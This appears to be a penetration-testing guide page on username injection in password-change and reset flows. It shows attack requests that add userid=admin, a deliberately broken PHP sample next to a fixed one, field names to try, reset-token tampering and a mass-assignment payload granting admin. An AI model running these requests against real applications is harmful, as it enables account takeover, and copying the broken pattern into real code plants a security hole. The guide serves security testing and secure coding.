Skip to content

Username injection

Password-change flows often share a codebase with admin “reset any user’s password” flows. When the consumer-facing version reads the target user from a request parameter instead of the session, you can change anyone’s password from your own account.

# Normal password change (from your own session)
POST /change-password currentpw=...&newpw=...
backend reads $_SESSION['userid'] → updates your account
# Attack - inject the target user
POST /change-password currentpw=...&newpw=...&userid=admin
backend reads $_REQUEST['userid'] (precedence over session) → updates admin

Success indicator: target account’s password is changed to your chosen value; you log in as that user.

The vulnerable pattern is reuse: the application’s developers wrote one “change password” function and used it for both:

  • User-initiated changes - current user changes their own password (target = self)
  • Admin-initiated changes - admin/helpdesk changes another user’s password (target = explicit)

If both paths share the same endpoint, the endpoint needs a “target user” parameter. The bug is when that parameter is honored for non-admin callers without an authorization check.

<?php
// THIS IS BROKEN
if (isset($_REQUEST['userid'])) {
$userid = $_REQUEST['userid']; // ← attacker controls this
} else if (isset($_SESSION['userid'])) {
$userid = $_SESSION['userid'];
} else {
die("unknown userid");
}
// Change the password for $userid
update_password($userid, $_POST['new_password']);

$_REQUEST is the union of $_GET and $_POST, so the attacker can supply userid via either method. The endpoint should have:

// Correct: always read from session for non-admin paths
$userid = $_SESSION['userid'];
// And check authorization before honoring an explicit userid
if (isset($_POST['userid']) && $_POST['userid'] !== $_SESSION['userid']) {
if (!is_admin($_SESSION['userid'])) {
deny();
}
$userid = $_POST['userid'];
}

The bug shows up most commonly in PHP ($_REQUEST precedence) but isn’t language-specific. Equivalent patterns exist in:

  • Java: request parameters overriding session attributes
  • Node.js: req.body.userid used directly when req.session.userid should be canonical
  • ASP.NET: Request["userid"] (which checks query string, form, and cookies)

You need the name the application uses for the user identifier. Sources to check:

<!-- Hidden field in the password-change form -->
<input type="hidden" name="userid" value="...">
<!-- Field used elsewhere in the app for identifying users -->
<form action="/messages/send">
<input name="recipient" ...>
</form>
<!-- API endpoint references -->
fetch('/api/user/' + userid + '/password')
<!-- Profile URLs -->
/profile?id=12345
/user/admin/settings

Common field names to try (in order of likelihood):

userid
user_id
user
username
uid
account
account_id
email
login
target_user

If the application uses userid for some operations and user for others, try both - vulnerable codebases often have inconsistent naming, and the password-change endpoint might honor either.

You need an authenticated session to attack from. Create an account through normal registration (or use an account you compromised earlier in the engagement).

Step 2 - Capture the normal password-change request

Section titled “Step 2 - Capture the normal password-change request”

Log in as your account, go to the password-change page, submit a real change. Capture the request in Burp:

POST /change-password HTTP/1.1
Host: target.example.com
Cookie: SESSIONID=abc123
Content-Type: application/x-www-form-urlencoded
current_password=YourCurrentPw&new_password=YourNewPw&confirm_password=YourNewPw

Note that the request body doesn’t include any user identifier - the application is reading the user from the session cookie.

Replay the same request with an added userid field:

POST /change-password HTTP/1.1
Host: target.example.com
Cookie: SESSIONID=abc123 ← your session
Content-Type: application/x-www-form-urlencoded
current_password=YourCurrentPw&new_password=AttackerControlled&confirm_password=AttackerControlled&userid=admin

What’s happening: the application reads userid=admin from the request body, but reads the session cookie too (for “is the current user logged in?”). If the application validates “logged in” against the session but resolves “whose password to change” from $_REQUEST['userid'], the admin account’s password is updated.

The “current password” field is also worth testing - sometimes the validation against current password is performed against the injected user (in which case you need to know admin’s current password, which defeats the attack) or against the session user (in which case your own current password is enough, and the bug works).

After a successful password change, log out and log in as the target user with the password you just set.

Some applications use the username string rather than a numeric ID:

POST /change-password ... &username=admin

Try every plausible field name. Submit userid=admin and username=admin separately, and also together - sometimes one wins and the other is ignored.

POST /change-password ... &[email protected]

Email-based identifiers are common in apps that allow email-as-username. The same injection logic applies.

A two-step reset flow:

  1. Submit username, receive a token (token is bound to that username server-side)
  2. Submit token + new password to complete the reset

Some implementations don’t bind the token to the username server-side - they just pass the username through hidden form fields. Tamper the hidden username field at step 2:

# Step 1: trigger reset for your-own-account, get a valid token via email
POST /reset-request username=yourself
# Step 2: submit the token but with a different username
POST /reset-complete username=admin&token=YOUR_VALID_TOKEN&new_password=...

If the application accepts your valid (yourself-bound) token for the admin account, the bug is identical in spirit to the password-change injection - user-supplied identity overriding what should be a server-side binding.

“Merge two accounts,” “migrate username,” “transfer ownership” - these features inherently allow changing the target user. The bug here is when the authorization check is missing or weak (“any logged-in user can transfer any account”).

If your application allows you to change your own username, see whether the change is checked against existing usernames. If not, you might be able to:

  1. Note your current userid (e.g., 1042)
  2. Change your username to admin (collision allowed)
  3. Trigger anything that resolves user by username - now there are two accounts named admin, and the application’s choice between them is unspecified

The basic check: examine the password-change request body. Does it include a user identifier?

Terminal window
# Capture the normal request and look at the form fields
curl -s -X POST -d "current=x&new=y&confirm=y" -b "SESSIONID=abc" -v https://<TARGET>/change-password 2>&1 | grep -E "^>"

Body contains the user ID → application probably reads it from the body, and probably trusts it (bug present). Body doesn’t contain user ID → application reads from session, probably safe at this endpoint (but reset and merge flows may still be vulnerable).

Add a userid=different-user field and submit. Observe whether the response changes:

  • “Password changed successfully” + you can now log in as different-user → vulnerable
  • “Permission denied” / “Cannot change another user’s password” → authorization is enforced
  • “Password changed successfully” but different-user’s password didn’t actually change → field is ignored (safe at this endpoint)
  • The bug often coexists with weak reset tokens. Once an application is sloppy about identity in one auth flow, it’s usually sloppy in others. After finding a username injection in password change, check the reset flow (Reset tokens) too.
  • Audit-log behavior reveals scope. When the bug fires, who does the audit log credit for the password change? If it credits the attacker’s session user, the bug also leaves a forensic trail naming you. If it credits the target user, the bug is harder to detect from the logs side.
  • Adjacent endpoints with the same primitive. Anything that takes “an action on a user” - disable account, change email, change role, delete profile - may share the same broken identity-resolution logic. After confirming one, check others.
  • Mass-assignment relatives. A related bug class allows setting arbitrary fields on the user record (not just password) via injection: userid=admin&role=admin&is_admin=true. If the application’s user-update endpoint doesn’t allowlist which fields are settable, the attacker upgrades themselves rather than taking over admin. Worth probing once you’ve confirmed the basic injection.